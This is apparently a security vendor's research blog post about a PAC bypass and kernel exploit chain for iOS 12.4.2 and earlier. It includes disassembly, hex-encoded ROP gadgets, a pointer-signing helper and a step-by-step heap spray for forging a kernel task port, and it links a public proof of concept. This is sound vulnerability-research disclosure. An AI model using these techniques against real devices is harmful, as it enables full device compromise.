ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices <= 12.4.2 #FreeTheSandbox

SHARE THIS ARTICLE

Follow zecops

Summary

In September we announced “Task For Pwn 0 (TFP0): Operation #FreeTheSandbox”.  In this blogpost we are delighted to announce that we have successfully obtained TFP0 for both non-PAC and PAC devices.  Presently, we are releasing a TFP0 POC code on PAC enabled devices to empower users to independently verify the integrity of their own devices.

Since the release of CheckM8, users can independently verify their devices’ integrity on non-PAC devices. However, PAC-enabled device owners are still restricted by iOS sandbox which inhibits full analysis of their own devices. 

Presently only PAC-enabled iOS devices cannot be inspected, hence we are no longer offering bounties for non PAC-enabled devices. At the same time, we have extended additional bounties to Boot Rom vulnerabilities and generic Local Privilege Escalations (LPEs) for Android devices, ideally, boot level LPEs.You can read more about our updated bounties for iOS (A12/A13), and Android in the following  blog post: Checkm8 Implications on iOS DFIR, TFP0, #FreeTheSandbox, Apple, and Google

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Technical Summary

This blog provides an overview of an exploitation technique to bypass Pointer Authentication Code (PAC) which was introduced on all iOS devices since A12. This blog will focus on CVE-2019-8797, CVE-2019-8795 and CVE-2019-8794. The remainder of this report provides additional details about PAC bypass on iOS <= 12.4.2.

For more information regarding the vulnerability that is possible to trigger and exploit on iOS devices with no PAC capability, please refer to this article. We would like to thank 08Tc3wBB for this submission. 

Bounty: For this exploit chain, for both regular as well as non-PAC devices, we provided $35,000 in bounties.

Userspace Exploit

The published exploit describes how to achieve sandbox escape by exploiting CVE-2019-8797 of MIDIServer.

Following is the disassembly code from MIDIIORingBufferWriter::EmptySecondaryQueue on non-PAC devices. The published exploit is able to hijack the PC register by controlling the value of x8 in the highlighted line by exploiting CVE-2019-8797.

bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this) 
                stp         	x28, x27, [sp,#-0x10+var_50]!
                stp         	x26, x25, [sp,#0x50+var_40]
                stp         	x24, x23, [sp,#0x50+var_30]
                stp         	x22, x21, [sp,#0x50+var_20]
                stp         	x20, x19, [sp,#0x50+var_10]
                stp         	x29, x30, [sp,#0x50+var_s0]
                add         	x29, sp, #0x50
                mov         	x21, x0
                mov         	x19, x0 
                ldr         	x8, [x19,#0x58]!
                ldr         	x8, [x8,#0x10]
                mov         	x0, x19
                blr         	x8 // PC control

However, on the devices with PAC, the instruction “ldraa” loads pointer with pointer authentication, which means that we need to pass an address with proper authentication to x8.

bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
	         pacibsp
	         sub	sp, sp, #0x70
	         stp	x28, x27, [sp, #0x10]
	         stp	x26, x25, [sp, #0x20]
	         stp	x24, x23, [sp, #0x30]
	         stp	x22, x21, [sp, #0x40]
	         stp	x20, x19, [sp, #0x50]
	         stp	x29, x30, [sp, #0x60]
	         add	x29, sp, #0x60
	         mov	x19, x0 
	         add	x0, x0, #0x58    
	         str	x0, [sp]
	         ldr	x8, [x19, #0x58] // <-- x8 point to a controlled memory, with A-key encrypted
	         ldraa	x9, [x8, #0x10]! 
	         movk	x8, #0x165d, lsl #48
	         blraa	x9, x8 // PC control

Trying ROP without stripping the PAC pointer, triggers the following crash on the target process:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x002000029f000010 -> 0x000000029f000010 (possible pointer authentication failure)
VM Region Info: 0x29f000010 is in 0x280000000-0x2a0000000;  bytes after start: 520093712  bytes before end: 16777199
      REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
      unused shlib __TEXT    00000001dd1f8000-00000001dd998000 [ 7808K] r--/r-- SM=COW  ... this process
      GAP OF 0xa2668000 BYTES
--->  MALLOC_NANO            0000000280000000-00000002a0000000 [512.0M] rw-/rwx SM=PRV  
      UNUSED SPACE AT END

This concept of PAC bypassing is derived from Ian Beer’s post. Let’s take a look at the document to see how “ldraa” works:

Load Register, with pointer authentication. This instruction authenticates an address from a base register using a modifier of zero and the specified key, adds an immediate offset to the authenticated address, and loads a 64-bit doubleword from memory at this resulting address into a register.

Key A is used for LDRAA, and key B is used for LDRAB.

Since the instruction “ldraa” uses the A-family keys which are shared between all processes, we are able to authenticate the addresses we have controlled using pac* instructions. The example below demonstrates how we can use the “pacdza” instruction to authenticate a data pointer that will pass the “ldraa”.

uint64_t PACSupport_pacdza(uint64_t data_ptr){
    
    const char *unused_fmt = "";
    printf(unused_fmt, data_ptr);
    __asm__ __volatile__("mov %0, x8"
                         ::"r"(data_ptr));
    __asm__ __volatile__(
                         "pacdza    x8\n"
                         "mov %0, x8\n"
                         :"=r"(data_ptr));
    return data_ptr;
}

After gaining initial PC Control, we still need to control other registers for arbitrary code execution. At this point, x0 contains a pointer that points to a memory we control, which is also A-key encrypted. 

When the targeted pointer is encrypted, normal instructions like “ldr“, “ldp” will trigger a crash.

Now, we need to strip code authentication for those registers. Following gadgets are used to strip the registers we need:

Gadget_doubleJump:
    0x08, 0x00, 0x40, 0xF9, // ldr    x8, [x0]
    0x09, 0x3D, 0x20, 0xF8, // ldraa  x9, [x8, #0x18]!
    0x48, 0x15, 0xEE, 0xF2, // movk   x8, #0x70aa, lsl #48
    0x28, 0x09, 0x3F, 0xD7, // blraa  x9, x8      // Jmp to Gadget_strip_x0
    0x08, 0x00, 0x40, 0xF9, // ldr    x8, [x0]    // Now x0 is fully under control
    0xE8, 0x3B, 0xC1, 0xDA, // autdza x8
    0x09, 0x01, 0x40, 0xF9, // ldr    x9, [x8]
    0xA8, 0x39, 0xFF, 0xF2, // movk   x8, #0xf9cd, lsl #48
    0x28, 0x09, 0x3F, 0xD7, // blraa  x9, x8

Gadget_strip_x0:
    0x00,0x00,0x40,0xF9, // ldr x0, [x0]   // Reset x0, now point to memory under our control
    0xE0,0x47,0xC1,0xDA, // xpacd  x0      // Remove PAC from it
    0xC0,0x03,0x5F,0xD6, // ret

Gadget_control_x0x2:
    0xF3, 0x03, 0x00, 0xAA, // mov    x19, x0
    0x08, 0x00, 0x42, 0xA9, // ldp    x8, x0, [x0, #0x20]
    0x61, 0x3A, 0x40, 0xB9, // ldr    w1, [x19, #0x38]
    0x62, 0x1A, 0x40, 0xF9, // ldr    x2, [x19, #0x30]
    0x1F, 0x09, 0x3F, 0xD6, // blraaz x8

After controlling PC, X0 and X2, we are able to call xpc_array_apply_f with x0 pointing to a crafted fake xpc array. Afterwards, the function pointer is called each time in a loop with a controllable x2 register:

By pointing the function pointer to IODispatchCalloutFromMessage and making each element of the fake xpc_array to point to a fake mach message matching the format expected by IODispatchCalloutFromMessage, it is possible to chain together an arbitrary number of basic function calls.

There are limitations compared to regular ROP, however this is sufficient to achieve the goal including opening up a kernel surface to proceed to kernel exploit.

Kernel Exploit

Kernel PAC does not affect the information disclosure bug, hence KASLR can be bypassed. 

In the published exploit, the PC is controlled by hijacking vtable in the line with a comment (a). Since we are not be able to use JOP due to PAC, we need another primitive for PAC bypass.

Let’s take a look at the AppleAVE2Driver::DeleteMemoryInfo function from another angle, emphasising that we have full control of *memInfo.

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
{
  [...]
 
  if ( memInfo )
  {
    if ( *memInfo )
    {
      v8 = destroy_iosurfaceinfo_buf(*memInfo); //(a) Hijack PC
      operator delete(v8);  // (b) Potentially leads to arbitrary memory release
    }
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
  }
 [...]
  return result;
}

__int64 __fastcall destroy_iosurfaceinfo_buf(__int64 a1)
{
  __int64 this; // x19

  this = a1;
  remove_buffer(a1);
  return this;
}

Following is the code that is called by destroy_iosurfaceinfo_buf. We can avoid triggering code execution by setting the value of some of the offsets (e.g. 0x28, 0x30 and 0x20 etc.) to 0 in order to control the pointer passed to “operator delete”  (see comment (b)). In this way, we turn this vulnerability into another powerful primitive – Arbitrary Memory Release.

__int64 __fastcall remove_buffer(__int64 a1)
{
  __int64 v1; // x19
  __int64 v2; // x2
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 result; // x0
  __int64 v6; // x1
  __int64 v7; // x1

  v1 = a1;
  sub_FFFFFFF00691D958();
  if ( *(_QWORD *)(v1 + 0x28) && *(_QWORD *)(v1 + 0x68) && *(_QWORD *)(v1 + 0x50) ) //bypass
  {
    v2 = *(_QWORD *)(v1 + 0x48);
    sub_FFFFFFF006922108();
  }
  v3 = *(_QWORD *)(v1 + 0x30);
  if ( v3 ) //bypass
  {
    (*(void (**)(void))(*(_QWORD *)v3 + 0x28LL))();
    *(_QWORD *)(v1 + 0x30) = 0LL;
  }
  v4 = *(_QWORD *)(v1 + 0x28);
  if ( v4 ) //bypass
  {
    (*(void (**)(void))(*(_QWORD *)v4 + 0xD8LL))();
    (*(void (**)(void))(**(_QWORD **)(v1 + 40) + 40LL))();
    *(_QWORD *)(v1 + 40) = 0LL;
  }
  result = *(_QWORD *)(v1 + 0x20);
  if ( result ) //bypass
  {
   [...]
  }
  return result;

With this primitive, we can now use the strategy introduced in BlackHat USA 2019 by TieLei Wang and Hao Xu.

1. Spray OSdata that has the size of a page (0x4000), after spraying a large volume of OSdata, it’s not hard to predict the address of one of the OSdata. The predicted_address allows us to construct the OSdata which contains the fake ipc_port_struct and task_struct for leaking addresses of kernel_map and ipc_space_kernel in the following steps.

Noteworthy, OSata uses kmem_alloc instead of kmem_alloc_kobject while request size is equal or greater than page_size(0x4000), since kmem_alloc allocates data outside of kernel_object. we need to shrink spray_data_len to 0x3FFF.

+----------+----------+----------+----------+----------+
|  OSDATA  |  OSDATA  |  OSDATA  |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

2. Trigger vulnerability to release the OSdata at predicted_address.

+----------+----------+----------+----------+----------+
|  OSDATA  |  OSDATA  |  FREE    |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

3. Send ool_ports descriptor of the same size as the free’d OSdata to ourselves, to fill up that hole.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  | MACH_MSG |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

4. Release filled data by using iosurface, so that the memory that holds ool_ports is released.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  |   FREE   |  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

5. Re-spray the OSdata with fake ipc objects to get control of ipc port structure. 

Please note that at this point we still couldn’t build a fake tfp0 due to not knowing the addresses of kernel_map and ipc_space_kernel.

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|  OSDATA  |  OSDATA  |FAKE PORTS|  OSDATA  |  OSDATA  |
+----------+----------+----------+----------+----------+

6. Receive these ports which are translated from in-kernel ipc port structure that we have controlled in the previous step. Next, the fake ipc_port_struct and task_struct that was sprayed in step 1 is used for kernel info leak in order to read values from kernel memory with these fake ports, via pid_for_task.

Now, we have all the addresses required to build fake TFP0 ports.

7. Release and spray with the OSdata which contains fake TFP0 port while the ool_ports pointer still pointing to a fake ipc_port_struct. TFP0 achieved!

                     +-------------+
                     | ool_ports   |
                     +------+------+
                            |
                            |
+----------+----------+-----v----+----------+----------+
|FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |FAKE TFP0 |
+----------+----------+----------+----------+----------+

Proof of Concept

The POC below is released for research purposes only. Use at your own risk. The POC is available here: https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2

References

Bonus

If you read all the way till here – here’s a bonus:
To receive #FreeTheSandbox stickers delivered to you, fill this form

[email protected] public key below:

-----BEGIN PGP PUBLIC KEY BLOCK-----

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
nuIgwms=
=WWrF
-----END PGP PUBLIC KEY BLOCK-----

ZecOps Mobile XDR is here, and its a game changer

Perform automated investigations in minutes to uncover cyber-espionage on smartphones and tablets.

LEARN MORE >

Partners, Resellers, Distributors and Innovative Security Teams

ZecOps provides the industry-first automated crash forensics platform across devices, operating systems and applications.

LEARN MORE >

SHARE THIS ARTICLE